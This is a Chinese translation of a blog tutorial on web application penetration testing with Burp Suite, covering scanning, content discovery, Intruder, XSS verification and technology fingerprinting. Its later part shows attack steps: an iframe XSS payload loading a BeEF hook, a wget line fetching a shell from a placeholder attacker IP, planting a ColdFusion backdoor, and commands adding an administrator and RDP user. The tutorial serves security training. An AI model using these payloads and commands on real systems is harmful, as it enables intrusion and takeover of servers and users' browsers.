web應用測試綜述:
Web應用漏洞給企業信息系統造成了很大的風險。許多web應用程序漏洞是由於web應用程序缺乏對輸入的過濾。簡而言之Web應用程序利用來自用戶的某種形式的輸入並且在應用程序中執行了這些信息為其提供內容或者從系統的其他部分獲取數據。如果未正確過濾輸入攻擊者可以發送非標准輸入來利用web應用程序。本文將重點討論burpsuite並介紹如何利用它來評估web應用程序。
Burpsuite綜述
Burpsuit有許多功能包括但不限於
- Interception Proxy:旨在讓用戶控制發送到服務器的請求。
- Repeater:快速重復或修改指定請求的能力。
- Intruder:允許自動化自定義攻擊和payload。
- Decoder:解碼和編碼不同格式的字符串URL,BASE64,HTML等等。
- Comparer: 高亮顯示不同的請求或響應之間的不同處。
- Extender: 擴展Burp功能的API接口以及許多通過BApp商店免費提供的擴展。
- Spider and Discover Content feature:爬取web應用程序上的鏈接並且可以被用來動態枚舉非顯式鏈接的內容來尋找信息。
- Scanner (Pro Only): 檢查web應用程序漏洞XSSSQLi代碼注入文件包含等的自動掃描程序。
入門
Burp的詳細幫助文檔在下面能找到
http://portswigger.net/burp/help/suite_gettingstarted.html
Burpsuite能通過java -jar命令行加載。你可以通過使用選項“-Xmx”分配你的burp所需內存。
java -jar -Xmx1024m /path/to/burp.jar
像許多攔截代理一樣Burp也是通過GUI驅動的但是有一些選項需要通過Extender功能利用命令行啟動。
一旦burpsuite啟動建議你先在Scope定義好目標主機。你可以在site map控制顯示的內容和其他功能。Scope能通過定義目標主機名IP或者網絡范圍:
Proxy選項卡顯示Burp的代理詳細信息、intercept選項和HTTP請求歷史。在下面你可以看到“Intercept is on” 所以任何從瀏覽器發出的請求都將必須通過Burp的proxy手動點擊forward才能進行
Intercept 功能會截斷所有從瀏覽器發送出來的流量其他擴展如FoxyProxy能用來指定哪個URL和IP是黑名單或白名單這些名單能繞過burp的截斷。 通過配置好Burp的scope和proxy你可以開始使用你的瀏覽器和burp瀏覽web應用程序了如你可以在Site Map目標右鍵彈出菜單選項。在這個視圖中你可以看到web應用的目錄結構和資源。通過右擊URL或者資源你可以通過幾個選項調用其他功能例如Burp的spider功能或者執行主動式掃描
便捷提示為了更容易專注於目標web應用程序你可以點擊“Filter”菜單只顯示僅僅在范圍內的內容
激活Burp的spider功能將爬取web應用的鏈接默認爬取鏈接深度為5但是這些選項都是在“spider”選項卡中配置的。一旦你截斷web應用程序所有的請求和響應都將在“proxy”選項卡中記錄下來。你可以高亮顯示一個請求讓它脫穎而出並且可以在之后的分析中留下注釋
Burp的Engagement Tools
Burpsuite在它的Engagement Tools 右擊目標站點的視圖>Engagement Tools 下他提供了大量有用的功能。從這你可以選擇“Analysis Target”分析目標這個功能提供給你鏈接參數和靜態、動態內容的計數。了解這些信息對評估目標非常有用。鏈接、參數、和動態內容越多注入fuzz的點就更多。
在下面的截圖中你可以看到一些其他功能如“Schedule Task”定時任務讓你可以定時進行主動掃描。如果客戶端想在一天中的某幾個小時執行自動化測試這個功能特別有用。
Discovering Unlinked Content發現非顯式鏈接內容
進行web應用程序測試時將面臨到的一個問題是枚舉未使用顯式鏈接的內容。這可能是一種很耗時的方式因為它主要依賴暴力猜解來制作請求並且查看服務器上是否存在該資源。舉個例子“/tmp/”目錄不是在web應用任何一個鏈接中但是如果發送請求/tmp/目錄將得到響應。為了解決這個問題我們有許多其他的選擇
- 利用Burp的Discover Content功能。
- 利用其它掃描器Niktow3afZAP等來探測一些默認資源。
- 利用DirBuster或Burp的Intruder功能基於一個固定列表暴力猜解資源。
所有的這些方法都非常耗時並且實際上可能找不到任何東西因此根據測試時間和范圍你可以不必讓DirBuster 運行一整天。一般情況下當你另外進行手工測試的時候它會自動在后台運行。
下面是一個例子調用Burp的Discover Content功能嘗試動態枚舉非顯式鏈接的內容
Burp的Decoder和Comparer(編解碼器和對比器)
當你開始測試WEB應用程序時你將發現你經常需要將字符串解碼或編碼成不同格式。當嘗試繞過一些簡單的waf的時候非常有用。下面的例子是使用Burp的decoder執行URL編碼除此之外還有別的編解碼選項。
Burp的Comparer功能讓你快速將請求或響應進行比較並且高亮顯示它們之間的區別
Burp的Extender擴展
擴展功能提供了強大的API接口開發通過使用腳本語言開發額外的功能。許多擴展是用python編寫並且通過Burp的應用商店免費提供使用。有個非常有用的擴展是Carbonator它允許你在命令行中實現brupspider>scan>report的全自動化。下面是應用商店一些可用擴展的截圖
Burp的Intruder暴力破解
另一個選項是利用Burp的intruder功能它可以使用一個請求並且允許用戶修改請求定義各種不同的payload注入點。一個常見的用例是迭代請求中的參數值用來查看web應用程序如何響應例如get /product.php?item=1你也許可以使用intruder檢查比較一下1-1000響應的不同之處。你還可以將請求的資源作為要修改的位置。下面我們將通過遍歷一個目錄字典來演示這一點
1.指定一個請求並且選擇“Send to Intruder”這將在“intruder”選項卡下彈出以下窗口。高亮顯示區域是在請求中將使用“sniper”payload進行暴力猜解的那部分
2.接下來是payload選項卡你可以加載一個字典進行暴力猜解
3.選擇“Intruder > Start Attack”開始攻擊。接下來的結果窗口將顯示創建的請求和HTTP狀態碼。正如我們所看到的我們能枚舉出一部分spider未發現的其他資源
除了使用Burp建議在后台運行中間掃描程序用來檢查一些默認配置和資源。下面是使用Nikto的例子也可以考慮其他掃描工具ZAPw3afGrendal等。正如我們所看到的Nikto發現了更多有趣的東西等待我們去調查如/tmp/和/test/:
在初步的偵察之后我們想開始一個主動式掃描這能讓Burp測試已知內容以發現漏洞。主要通過Burp輸入內容HTML、javascript、SQL語法、系統命令等進行大量的工作並且監測應用程序如何響應來實現。與任何Web應用程序漏洞掃描器一樣Burp會報告一些需要手動驗證的報告。要啟動一個主動式掃描右擊site map上的URL或者資源並選擇“Actively scan this host”將會彈出下面主動掃描向導
在Web應用程序的掃描時間可能因Web應用程序而異。在某些情況下Web應用程序的自動掃描時間范圍可能從幾個小時到幾天不等。掃描期間列舉的鏈接計數是潛在的掃描持續時間的一個很好的指標。下面的窗口顯示了1515個鏈接枚舉但很少有參數用於測試輸入。不帶參數的鏈接將減少Burp對每個鏈接的請求次數因此掃描時間較短。
在評估主動掃描網絡應用時另一個關鍵因素是表單提交。當你主動掃描web應用程序時根據web應用程序和向用戶提供的功能你可能會生成大量日志故障單作業等。如果不在評估范圍內應該密切監視這些情況以防止造成拒絕服務DoS情況。
掃描開始后可通過跳轉到Burp中的“scanner”選項卡來查看結果和狀態.
隨着開始顯示結果你可以開始檢查一些結果。下面我們可以看到Burp提取多個爆出的結果以進一步調查
分析掃描結果和手動測試
驗證Burp掃描結果確定是否是誤報充分了解結果這通常會是一個好主意。從選擇發現的結果開始選擇如“Cross-site scripting (reflected)”然后選擇並查看其請求和響應中影響漏洞評估的詳細信息。檢查XSS的第一件事就是在瀏覽器中重復這一個請求然后查看腳本是否運行了。你可以通過右擊請求正文部分然后選擇“Request in browser”
查看瀏覽器中的響應對確定標記是否正確非常有用。由於XSS評估結果與在客戶端瀏覽器中執行的代碼相關因此選擇在依賴於掃描器邏輯之前手工驗證發現結果非常重要。
Burp的另一個常用功能是“Repeater”通常用於驗證結果或手動搜索其他結果。只需右鍵單擊請求正文部分並選擇“Send to Repeater”
在Repeater界面中你可以修改請求並快速重新發送請求給Web應用程序。
反射型XSS可以通過注入某種HTML / JavaScript的payload進行快速測試該payload解析無需輸入進行驗證。下面是修改XSS payload簡單地“alert”XSS“”的示例
對於反射型XSS的實際應用你可能會利用iframe作為payload與魚叉式網絡釣魚結合使用。下面是一個示例XSS payload你可以使用它來代替“alert”所以現在它可以加載客戶端側提供的exploit或BeEF掛鈎的第三方資源
<iframe height=”0″ width=”0″src=<BeEF_hook></iframe>
BeEF是通過使用JavaScript來控制受害者瀏覽器的強大方法。在上面你可以看到使用XSS漏洞與BeEF相關的受害者瀏覽器。BeEF提供大量功能在受害者瀏覽器上執行甚至連接到Metasploit以進行攻擊。
關於Web應用程序的安全性中XSS經常被許多人忽視因為你需要利用其他方法獲取最終目標——shell。關於XSS的一點需要注意的是我們已經確定Web應用程序沒有正確過濾用戶輸入並且這可能只是一個引出許多其他漏洞的跡象。
在下面這種情況我們通過發送到repeater並修改payload並在瀏覽器中顯示響應來驗證XSS並展示了如何利用XSS來控制受害者瀏覽器。Burp掃描結果另一個優點是修改發現結果所聯系的風險等級。當分析掃描結果時你將毫無疑問遇見一些False Positive誤報情況。因此Burp提供用戶修改結果為“False Positive”的能力
Burp能夠使用各種payload進行模糊輸入但它確實會遺漏一些特定版本的漏洞和配置問題。這對任何工具都很常見因此建議你執行手動測試來驗證工具找到的結果並列舉Web應用程序中的其他漏洞。
手動測試的第一步是獲取Web應用程序使用的技術。特定的軟件和版本信息可能會導致你獲取額外的信息以獲取可能存在的漏洞或漏洞。Whatweb是一款非常棒的工具能夠讓你快速了解Web應用程序所使用的技術。下面我們可以看到whatweb的命令行語法和輸出
此時我們可能已經在運行完整的Burp掃描之前運行了whatweb但是我們可以從whatweb的輸出中看到一些非常有趣的信息。
在這種情況下我們看到一個ColdFusion Web應用程序它給我們提供了手工測試的一個入手點。現在已經枚舉出了ColdFusion檢查是否存在管理資源如“/ CFIDE / administrator /”以便判斷是否合乎ColdFusion應用的邏輯。
手工測試
Burp也可以成為在Web應用程序上執行手工測試的好工具。通常這種類型的測試是通過安全評估來進行的並且隨着從各種掃描中發現更多信息可以進一步利用手動測試來利用它。關於手工測試的主題可以講好幾本書本博文將重點介紹一些非常基礎的內容。當你開始瀏覽Web應用程序並查看工具輸出時請問你自己以下問題
1.列舉並研究所有可能存在的軟件版本。ColdFusionWordPressSharePoint等。
- 研究所有軟件版本以檢查是否存在已知的漏洞和常見的錯誤配置
- 嘗試請求與正在使用的技術相關的其他資源這些資源可能不會被Web應用程序顯式鏈接出來。
2.Web應用程序是否用到了用戶輸入
- 查看修改參數值HTTP頭字段cookie等以查看Web應用程序的響應方式。
3.如果你懷疑某個部分的請求出現在屏幕上請測試XSS。因此如果你瀏覽該頁面並注意到你的User-Agent可以直接看見請嘗試用一些HTML / JavaScript替換你的User-Agent以測試XSS<script> alert1</ script>
。
4.你的請求是否被利用來針對數據庫執行查詢例如如果你注意到一個名為“id”的參數並且看到它帶有一個數字值請嘗試放置一個單引號“或雙引號”以嘗試生成數據庫錯誤。這種類型的測試可以識別SQL注入的存在。
5.Web應用程序是否利用任何輸入來執行命令嘗試修改輸入以將附加命令附加到請求並查看它是否被Web應用程序成功處理。
獲取一個shell
Webshell有各種文件格式和功能。你可能能夠登陸一個php shellraw shellmeterpreter等一個原始的netcat shell.asp shell.jsp等等。可以使用的shell類型取決於web應用程序所使用的技術和配置。例如如果你獲得了對Apache Tomcat GUI的訪問權限則可以部署WAR后門。如果你在運行IIS時遇到一些RFI漏洞你可以嘗試上傳一個asp shell。
當你獲得一個shell的時候你也可以使用Web應用程序服務帳戶的權限來運行它可能無法在當前工作目錄中執行命令。由於這些原因你可能需要將Web Shell放置在/ tmp /目錄wget -O /tmp/shell.py http// <yourIp> /shell.py
中。關於遠程命令執行RCE它一般需要在請求結束時有一個空字節00。
有時候配置錯誤會導致可以上傳一個web shell。下面我們可以看到我們可以訪問ColdFusion管理界面。如果我們跳轉到這里這實際上允許我們安排任務並上傳.cfm后門。這是一個重要的發現但許多自動化掃描工具完全錯過了
這個例子不太可能發生在現實世界中但重點是列舉Web應用程序利用的軟件版本然后進行研究以發現任何漏洞。ColdFusion伴隨着許多目錄遍歷和越權漏洞已經成熟了。利用谷歌搜索和檢查exploit-db等攻擊研究資源在這個測試階段可能會有很長的路要走。
由於我們可以訪問管理界面因此下一個合理的步驟就是安排一個任務來調用.cfm后門並將其發布到Web應用程序中。要在ColdFusion中安排任務它位於“Debugging&Logging”菜單下
接下來你需要在另一個地方快速搭起一個WEB服務器以允許WEB應用程序將后門下載下來。我發現利用Python來快速建立一個Web服務器是非常有用的
python -m SimpleHTTPServer 80
然后我們可以配置並運行計划任務來撤消並發布后門。你需要確保選中“publish”復選框並且可以從左側的服務器設置摘要中枚舉文件系統目錄結構
在我們運行計划任務后你可以監控你的Python Web服務器以查看受害者服務器請求后門。然后你可以跳轉到Web應用上的后門進行交互以在其OS上執行命令
我們可以執行一個“whoami”命令來查看Web應用程序有什么權限
作為“nt authority\system”執行,意味着我們可以開始進行一些修改如添加用戶並關閉防火牆。我們將使用以下命令添加一個用戶
net user jobin password /ADD
net user localgroup Administrators jobin /ADD
net localgroup “Remote Desktop Users” jobin /ADD
現在禁用防火牆並通過.cfmshell添加用戶我們可以通過RDP協議連接受害者系統以獲得終端訪問權限
總結
Web應用程序漏洞的常見來源是缺少對用戶輸入的過濾。Web應用程序掃描工具的工作原理是通過發出包含后面代碼、缺少過濾的輸入請求來利用的Web代碼語法本地/遠程資源等。
Web應用程序測試是一個非常高級的主題本博文僅關注一些基本知識Burp Suite簡介。如果你想了解有關Web應用程序測試的更多信息請查看以下資源
- Metasploitable可以為Web應用程序提供很好的實踐
- SecureIdeas提供便宜的Burp網絡訓練研討會
- OWASP
- 通過訪問www.pentesterlab.com獲取免費培訓和實驗室
- SANS 542和642 Web應用滲透測試課程
- 攻擊性安全培訓OSCP有很多網絡應用程序測試
作者primalsecurity
翻譯i春秋翻譯小組-海綿體VS括約肌
責任編輯jishuzhain
翻譯來源http://www.primalsecurity.net/0×2-exploit-tutorial-web-hacking-with-burp-suite/